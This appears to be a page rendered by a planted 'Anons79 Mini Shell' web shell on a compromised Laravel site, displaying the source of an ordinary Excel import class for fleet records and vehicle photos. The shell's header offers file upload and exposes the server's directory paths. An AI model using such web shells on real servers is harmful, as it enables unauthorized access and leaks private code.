Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/astra.aplikasipos.info/laravel_backend/app/Imports/
Upload File :
Current File : /home/aplikasiposinfo/www/astra.aplikasipos.info/laravel_backend/app/Imports/ArmadasImport.php

<?php

namespace App\Imports;

use App\Models\Armada;
use App\Models\Perusahaan;
use Illuminate\Support\Facades\Storage;
use Maatwebsite\Excel\Concerns\ToModel;
use PhpOffice\PhpSpreadsheet\IOFactory;
use PhpOffice\PhpSpreadsheet\Worksheet\Drawing;
use Illuminate\Support\Str;

class ArmadasImport implements ToModel
{   

    /**
     * @var
     */
    protected $excel;
    /**
     * @var
     */
    protected $work_sheet;
    /**
     * @var array
     */
    protected $excel_data = [];
    protected $index = 0;

    /**
     * ExcelImport constructor.
     * @param Request $request
     * @throws \PHPExcel_Exception
     * @throws \PHPExcel_Reader_Exception
     */
    public function __construct($file)
    {
        //Load file from request
        $this->excel = IOFactory::load($file->path());
        //Get active sheet
        $this->work_sheet = $this->excel->getActiveSheet();
    }

    /**
    * @param array $row
    *
    * @return \Illuminate\Database\Eloquent\Model|null
    */
    public function model(array $row)
    {   
        if(!isset($row[0]) || $row[0] == "" || $row[0] == null || strtolower($row[0]) == "nama ekspedisi"){
            return;
        }
        foreach ($this->work_sheet->getDrawingCollection() as $drawing) {
            //check if it is instance of drawing
            if ($drawing instanceof Drawing) {
                
                $file_name = str_replace(' ', '_', $drawing->getName()).'.'.$drawing->getExtension();
                $this->excel_data[$drawing->getCoordinates()] = [
                    'file_name' => $file_name,
                    'path' => $drawing->getPath(),
                ];
            }
        }
       
        $this->index++;
        $uuid = Str::uuid();

        $foto_tampak_samping = null;
        if(isset($this->excel_data['E'.$this->index])){
            $path = 'armada/'.$uuid.'/'.$this->excel_data['E'.$this->index]['file_name'];
            Storage::disk('public')->put($path, file_get_contents($this->excel_data['E'.$this->index]['path']));
            $foto_tampak_samping = $path;
        }

        $foto_tampak_depan = null;
        if(isset($this->excel_data['F'.$this->index])){
            $path = 'armada/'.$uuid.'/'.$this->excel_data['F'.$this->index]['file_name'];
            Storage::disk('public')->put($path, file_get_contents($this->excel_data['F'.$this->index]['path']));
            $foto_tampak_depan = $path;
        }
        $p = Perusahaan::firstOrCreate(['nama_perusahaan'=>$row[0]]);
        return new Armada([
            'id'=>$uuid,
            'nomor_armada'=>$row[1],
            'nama_armada' => $row[2] ?? null,
            'jenis_armada' => $row[3],
            
            'perusahaan_id'=>$p->id,
            
            'foto_tampak_samping'=>$foto_tampak_samping,
            'foto_tampak_depan' => $foto_tampak_depan,
            'ramp'=>($row[6] == "Ada")?1:0,
            'kapasitas'=>$row[7] ?? null,
            'dimensi_panjang_total'=>$row[8] ?? null,
            'dimensi_panjang_bak'=>$row[9] ?? null,
            'dimensi_lebar'=>$row[10] ?? null,
            'dimensi_tinggi'=>$row[11] ?? null,
            'odol_status_keseluruhan'=>$row[12] ?? null,
            'odol_panjang'=>$row[13] ?? null,
            'odol_lebar'=>$row[14] ?? null,
            'odol_tinggi'=>$row[15] ?? null,
            'tahun_produksi' => $row[16],
            'keterangan_armada'=>$row[17] ?? null,
            
            
        ]);
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]